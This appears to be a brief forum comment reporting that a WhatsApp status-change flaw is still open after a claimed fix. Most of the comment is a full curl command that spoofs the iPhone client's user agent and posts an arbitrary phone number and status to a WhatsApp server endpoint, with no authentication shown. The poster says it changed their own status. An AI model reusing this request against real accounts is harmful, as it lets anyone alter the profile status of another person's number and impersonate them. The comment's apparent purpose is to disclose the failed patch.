The site says the hole has been patched but I was just able to change my own status with this:<p><pre><code> curl -A "WhatsApp/2.6.7 iPhone_OS/5.0.1 Device/iPhone_4" --header "Accept-Language: en-us" --header "Accept-Encoding: gzip, deflate" --header "Connection: keep-alive" -d "cc=1&me=%2B1{10_DIGIT_NUMBER}&s={URL_ENCODED_STATUS}" https://s.whatsapp.net/client/iphone/u.php
</code></pre>
It did take some time to show up under my name, even after restarting the app.
